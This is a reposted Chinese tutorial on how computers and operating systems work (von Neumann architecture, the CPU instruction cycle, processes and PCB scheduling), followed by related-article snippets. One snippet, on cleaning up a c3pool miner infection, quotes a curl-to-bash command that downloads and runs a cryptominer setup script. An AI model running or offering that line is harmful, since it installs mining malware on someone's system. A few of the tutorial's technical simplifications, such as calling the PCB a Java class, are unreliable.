[Java EE] 计算机工作原理与操作系统简明概要

1. 计算机工作原理

1.1 生活中常见的计算机

计算机分为通用计算机和专用计算机,计算机并不单单指的是电脑,还有我们平时使用的手机,ipad,智能手表等终端设备都是计算机.还有我们用户不常见的计算机,比如服务器. 还有许多嵌入式设备(针对特定场景定制的"专用计算机"),都是计算机.

服务器
智能手表

1.2 冯诺依曼体系

现代的大多数计算机都遵守冯诺依曼体系结构.
在这里插入图片描述
简述上述过程就是:输入设备为存储器(内存和外存)输入数据,存储器向CPU发号施令,提醒CPU处理数据,CPU则会把存储设备中的数据读取过来,进行一系列处理,再放入存储设备中.之后通过存储设备输出到输出设备中.
下面我们介绍各个部件的主要功能:

  • CPU中央处理器: 主要进行二进制算数运算和逻辑判断.
  • 存储器: 分为内存和外存,用于存储数据(使用二进制方式存储)
  • 输入设备: 给计算机发号施令的设备.
  • 输出设备: 计算机向用户汇报结果的设备.
    针对存储空间:
    硬盘>内存>>CPU
    针对数据访问速度:
    CPU>>内存>硬盘

1.3 CPU指标与核心

我们可以把CPU看做一个打工人:

  1. CPU的两个指标:
    • CPU占用率:
      描述CPU干活时间栈总时间的比例.我们可以通过任务管理器来看到它.比如CPU上班上8个小时,干4个小时的活,CPU占用率为50%.

在这里插入图片描述

  • CPU频率:
    1秒钟,CPU处理或者执行了多少个指令.

在这里插入图片描述
2. 多核CPU
我们如今在市面上见到的计算机大多数都不是单核CPU,一个CPU中存在多个核心.
我们经常说的CPU几核,这指的是物理核心,CPU多少线程,指的是逻辑核心.下面我们以intel5-13500HX芯片来举例:
在这里插入图片描述
引入多核CPU的目的:
引入多核CPU的核心,本质上就相当于==“干活的人多了”==,只不过把这些人集中在了一个房间中,这就可以让任务的完成更高效.我们以后编程的核心就是:如何把多个任务拆分成多个部分交给不同的核心来完成."多线程"编程就是针对任务分配来考虑的软件编程,避免一核有难,多核围观的尴尬.这便是我们以后要研究的重点.
3. CPU的不同架构类型

  • x86架构类型(如Intel,AMD生产的芯片大多数是x86CPU)
  • arm架构类型(如Apple A17仿生芯片,骁龙888等用于移动设备的芯片大多数都是armCPU)
  • x86的优点就是性能较高,但功耗较高,而arm恰恰相反.

1.4 指令

所谓指令,即指导CPU进行工作的命令,主要有操作码+被操作数组成。
其中操作码⽤来表⽰要做什么动作,被操作数是本条指令要操作的数据,可能是内存地址,也可能是寄存器编号等.
冯诺依曼体系结构规定:
一个程序,指令和数据要在储存器中保存,CPU如果需要执行,都需要自动从存储器中去取指令和数据.即指令要先加载到内存中,才可以被CPU读取并执行.
eg:一个Java程序 -->.java -->编译 --> .class字节码文件 -->jvm -->到达内存 --> 翻译 -->CPU识别.

计算机中CPU的指令识别也有一定的规则,所以我们引入了指令表:
在这里插入图片描述
每个CPU被设计出来之后,都会提供这样一个指令表.这个指令表中的opcode对应的是内存数据中的操作码.就是告诉CPU要怎么做的二进制指令.操作的地址或寄存器就是告诉CPU从哪里取出被操作数(数据)并存储到哪里.

1.5 CPU的基本工作流程(重点)

  1. 读指令
    把内存中的指令数据读取到CPU的寄存器中
  2. 解析指令
    CPU通过指令表来解析当前指令要求它干啥
  3. 执行指令

注:寄存器是CPU用来保存数据的地方,一般有A,B,PC,IR四个,其中IR用来读取内存中的指令,PC用来读取内存中的地址.IR可通过PC提供的内存地址来从内存中取出指令来解析.,AB寄存器都是用来存储数据的.
下面来用图来形象地表示上述过程:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
总结:

  • CPU中的PC寄存器,是决定要执行那条指令的关键
  • 指令是有动作+操作对象组成的.
  • CPU眼中只有指令,没有其他概念.

2. 操作系统

操作系统是⼀组做计算机资源管理的软件的统称。⽬前常⻅的操作系统有:Windows系列、Unix系
列、Linux系列、OSX系列、Android系列、iOS系列、鸿蒙等。它们可以让计算机按照一定的规则进行执行,并管理好这个计算机上所有的硬件与软件资源,这是操作系统诞生的初心.
操作系统: 这个家没我都得散.

2.1 操作系统的定位

在这里插入图片描述
注:上述操作系统,可以看做操作系统内核.

那么操作系统是如何完成一个功能的呢?操作系统内核为应用程序提供了API,应用程序通过调用操作系统内核的API,来告诉操作系统内核这个进程并创建,之后操作系统内核通过与中央处理器的驱动程序,来在处理器中完成调用指令与数据.

这么说来有些抽象,我们通过银行柜台取钱的例子来解释:

  1. 应用程序相当于一个来取钱的人
  2. API相当于存折
  3. 取钱的人(应用程序)把存折(API)递给银行柜台的员工(操作系统),之后柜台员工(操作系统)从保险柜(处理器)中把钱取出来递给取钱的人(应用程序).

2.2 进程与任务

注意:下面谈到的进程都是只包含一个线程的进程
进程是操作系统对⼀个正在运⾏的程序的⼀种抽象,换⾔之,可以把进程看做程序的⼀次运⾏过程;同时,在操作系统内部,进程⼜是操作系统进⾏资源分配的基本单位
系统资源分配情况可通过系统资源管理器来查看:
在这里插入图片描述
但是上述的操作系统中的进程又非常多,我们就要考虑如何管理的问题了.

  1. 操作系统通过进程控制块抽象(PCB Process Control Block)来描述一个进程,PCB其实就是java中的一个类,操作系统底层的一个结构体成员.
  2. 操作系统通过一定的数据结构来把这些PCB有序地组织起来,如线性表(一般是链表),搜索树.方便增删查改.

那么这个结构体变量中有包含哪些信息呢:

  1. pid: 进程的id标识符.

  2. 内存指针: 这是一组指针组,告诉OS,该进程的指令位于内存中的地址以及进程依赖数据的地址.

  3. 文件描述符表: 一个进程在运行的时候要操作的文件,PCB会通过顺序表的数据结构来记录当前进程都打开了哪些文件.

  4. 支持进程调度的属性:
    要想解释明白这个属性,我们要先解释什么是进程调度:

    假设有100个进程,CPU虽然有多个核心,假设为16个,只能同时处理16个进程,这16个进程是完全同时执行,我们把他称为并行,但是如果想要执行100个,显然全部并行是远远不够的,这是CPU就会把总执行时间切为若干个小段,在这一小段的时间中,对进程频繁切换,我们称为并发执行.只不过时间非常短,人类感觉不到切换.
    所以,进程的调度从微观上来讲分为两种:1. 并行: 在时间上完全同时执行. 2. 并发: 在时间上串行,但是在宏观上也是同时执行.
    所以上述调度从宏观上来谈,统称并发.

    之后我们再来谈PCB中的第四个属性:

    1. 状态: 进程分为两种状态:就绪状态和阻塞状态.就绪状态就是随叫随到,阻塞状态的进程指令与数据暂时无法再CPU上执行.
    2. 优先级: 那个进程优先级高,就优先调用哪个进程.
    3. 上下文: 进程在CPU执行中,会产生许多的中间结果,进程在切换出CPU前,就需要把中间结果保存到PCB的上下文中,我们称为存档,下次进程回到CPU上时,就要把之前的存档回复回来,我们称为读档.
    4. 记账信息: OS要避免某个进程一直吃不到资源,所以就要进行统计,给分配的比较少的进程多分配一点.

    举例:渣女小故事
    一个女生同时被3个男生追:
    A男生:有钱多金
    B男生:颜值高,长得帅
    C男生: 开心果,会给女生提供情绪价值( 舔狗 )
    A男生比较有钱多金,所以经常出差,在平时,他可以随叫随到,是就绪状态,但是在他出差的时候,就不会随叫随到,进入阻塞状态
    C男生可以提供精神食粮,其实就是会舔,女生认为精神上的安慰更实在,所以C的优先级会更高,C分配的时间就会相对较多
    有一天,A男生的妈妈过生日,C男生打算去海边玩,然后女生就打算对男生A说,我买了一条红围巾,打算对C说,我买了一身性感的泳衣,由于小姐姐泡的男人太多了,看错A和C男生法的信息了,一不小心把A和C给整叉了,这就尴尬了.(C:你去海滩戴围巾??? , A:你给我妈妈买了一身性感的泳衣???)可见上下文的重要性.
    哎呀~~,把咱们的B小朋友给掉了,给咱们B小朋友多分配一点时间吧,所以记账信息也会起到一定的作用.
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819318.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Suno,属于音乐的ChatGPT时刻来临

AI绘画 AI视频我们见过了,现如今AI都能生成一首音乐,包括编曲,演唱,而且仅需几秒的时间便可创作出两分钟的完整歌曲 相信关注苏音的很大一部分都是从获取编曲或者混音插件来的,现如今AI却能帮你几秒生成曲子 今天就带…

海外云手机怎么解决tiktok运营难题?

最近打算做TikTok的商家越来越多了,而做TikTok的第一步就面临如何养号、涨粉的困境,本文将介绍如何通过海外云手机轻松解决这些问题。 早期大家用的比较多的,是真机科学上网的方法。但是这种方法,需要自己搭建海外环境&#xff0c…

网络篇09 | 运输层 udp

网络篇09 | 运输层 udp 01 简介UDP 是面向报文的 02 报文协议 01 简介 UDP 只在 IP 的数据报服务之上增加了一些功能:复用和分用、差错检测 UDP 的主要特点:无连接。发送数据之前不需要建立连接。 使用尽最大努力交付。即不保证可靠交付。 面向报文。…

DRF视图组件(2个视图基类、5个视图扩展类、9个视图子类、视图集和路由映射)

DRF视图组件(2个视图基类、5个视图扩展类、9个视图子类、视图集和路由映射) 目录 DRF视图组件(2个视图基类、5个视图扩展类、9个视图子类、视图集和路由映射)2个视图基类mixins的5个视图扩展类generics的9个视图子类视图集自定制返回格式自动生成路由(SimpleRouter)action装饰器…

[lesson30]操作符重载的概念

操作符重载的概念 操作符重载 C中的重载能够扩展操作符的功能 操作符的重载以函数的方式进行 本质: 用特殊形式的函数扩展操作符的功能 通过operator关键字可以定义特殊的函数 operator的本质是通过函数重载操作符 语法: 可以将操作符重载函数定…

Android RecyclerView性能优化及Glide流畅加载图片丢帧率低的一种8宫格实现,Kotlin

Android RecyclerView性能优化及Glide流畅加载图片丢帧率低的一种8宫格实现&#xff0c;Kotlin <uses-permission android:name"android.permission.READ_EXTERNAL_STORAGE" /><uses-permission android:name"android.permission.READ_MEDIA_IMAGES&qu…

c# 服务创建

服务 创建服务 编写服务 可以对server1.cs重新命名&#xff0c;点击你的server按F7进入代码编辑模式&#xff0c;编写脚本 双击你的server.cs右击空白位置&#xff0c;添加安装程序&#xff0c;此时会生成“serviceInstaller1”及“serviceProcessInstaller1” 后续可以点击P…

faker 伪造数据生成库

faker 伪造数据生成库 前言 javafaker&#xff0c;这是一个用于生成假数据的 Java 库&#xff0c;与 Python 的 faker 库类似。javafaker 库提供了很多方法&#xff0c;用于生成各种类型的随机数据&#xff0c; 基本用法 api介绍 <!--java faker用于生成随机数据-->&…

使用AI动作捕捉制作动画图像——Viggle AI教程

使用AI动作捕捉制作动画图像——Viggle AI教程 在数字媒体时代&#xff0c;动画制作已经成为一种流行的艺术形式。最近&#xff0c;我在网上发现了一个非常有趣的AI动画制作工具——Viggle AI。这个工具不仅简单易用&#xff0c;而且目前还是免费的。在这篇博客中&#xff0c;我…

护眼台灯哪个牌子最好,护眼台灯品牌排行榜分享

​护眼台灯哪个牌子最好&#xff1f;尽管一些家长可能对护眼台灯还不甚了解&#xff0c;下面我将介绍这类台灯的几个显著优势&#xff1a;它们专为减少眼睛疲劳和保护视力而设计&#xff0c;提供稳定且柔和的光线&#xff1b;具备灵活的亮度调节功能&#xff0c;适应不同的阅读…

springMVC理解

springMVC是一种思想&#xff0c;将软件划分为&#xff0c;模型Model&#xff0c;视图View&#xff0c;控制器Controller。 MVC的工作原理&#xff1a;用户通过前端视图页面&#xff0c;发送请求到服务器&#xff0c;在服务器中请求被Controller接收&#xff0c;Controller调用…

使用PL\SQL将Excel表格导入到oracle数据库中

因为要测试生产问题&#xff0c;需要把生产上oracle导出数据导入到测试环境oracle数据库中&#xff0c;尝试了N种方法&#xff0c;发现使用PL\SQL 的ODBC 方法比较好用 1、开始 首先使用plsqldev里面的&#xff0c;工具--》下面的odbc导入器 2、配置 点击之后&#xff0c;会…

OpenHarmony轻量系统开发【2】源码下载和开发环境

2.1源码下载 关于源码下载的&#xff0c;读者可以直接查看官网&#xff1a; https://gitee.com/openharmony/docs/tree/master/zh-cn/release-notes 本文这里做下总结&#xff1a; &#xff08;1&#xff09;注册码云gitee账号。 &#xff08;2&#xff09;注册码云SSH公钥…

weblogic oracle数据源配置

在weblogic console中配置jdbc oracle数据源 1. base_domain->Service->DataSources 在Summary of JDBC Data Sources中&#xff0c;点击New, 选择【Generic Data Source】通用数据源。 2. 设置数据源Name和JNDI name 注&#xff1a;设置的JNDI Name是Java AP中连接…

用于 SQLite 的异步 I/O 模块(二十四)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLite的PRAGMA 声明&#xff08;二十三&#xff09; 下一篇&#xff1a;SQLite、MySQL 和 PostgreSQL 数据库速度比较&#xff08;本文阐述时间很早比较&#xff0c;不具有最新参考性&#xff09;&#xff08;二…

C#医学实验室/检验信息管理系统(LIS系统)源码

目录 检验系统的总体目标 LIS主要包括以下功能&#xff1a; LIS是集&#xff1a;申请、采样、核收、计费、检验、审核、发布、质控、耗材控制等检验科工作为一体的信息管理系统。LIS系统不仅是自动接收检验数据&#xff0c;打印检验报告&#xff0c;系统保存检验信息的工具&a…

使用Hugo、Github Pages搭建自己的博客

文章目录 搭建博客框架及对比使用Hugo搭建博客使用Github Pages部署博客 搭建博客框架及对比 在众多的博客框架中&#xff0c;Hugo、Jekyll和Hexo因其出色的性能和易用性而备受推崇。 特点HugoJekyllHexo速度极高中等较高易用性高中等高&#xff08;熟悉JavaScript者&#xf…

书生·浦语大模型全链路开源体系-第5课

书生浦语大模型全链路开源体系-第5课 书生浦语大模型全链路开源体系-第5课相关资源LMDeploy基础配置LMDeploy运行环境下载internlm2-chat-1_8b模型使用Transformer来直接运行InternLM2-Chat-1.8B模型使用LMDeploy以命令行方式与InternLM2-Chat-1.8B模型对话设置KV Cache最大占用…

数据结构--栈,队列,串,广义表

3.栈 &#xff08;先进后出&#xff09; 栈是一种特殊的线性表&#xff0c;只能从一端插入或删除操作。 4.队列 4.1 4.1.1初始化 4.1.2判断队列是否为空 4.1.3判断队列是否为满 4.1.4入队 4.1.5出队 4.1.6打印队列 4.1.7销毁队列 5.串 5.1 串的定义 由零个或者任意多…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…